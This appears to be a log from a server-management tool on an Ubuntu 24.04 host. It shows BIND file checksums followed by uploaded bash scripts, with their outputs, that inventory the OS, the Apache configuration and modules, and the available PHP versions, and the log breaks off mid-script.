MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-07 10:51:41: Establishing a connection
2026-05-07 10:51:48: Establishing a connection
2026-05-07 10:51:49: Performing Server Status
2026-05-07 10:51:49: 

PUT: /tmp/pkp831292

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-05-07 10:51:49: 

chmod 755 /tmp/pkp831292; /tmp/pkp831292; rm /tmp/pkp831292

2026-05-07 10:51:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-111-generic



2026-05-07 10:51:49: 

PUT: /tmp/pkp466065

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-05-07 10:51:49: 

chmod 755 /tmp/pkp466065; /tmp/pkp466065; rm /tmp/pkp466065

2026-05-07 10:51:49: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 103628
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      103628  0.0  0.9 324820 39300 ?        Ss   06:54   0:02 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-05-07 10:51:49: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-05-07 10:51:49: 

PUT: /tmp/pkp473936

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-05-07 10:51:49: 

chmod 755 /tmp/pkp473936; /tmp/pkp473936; rm /tmp/pkp473936

2026-05-07 10:51:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-05-07 10:51:49: 

PUT: /tmp/pkp201743

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
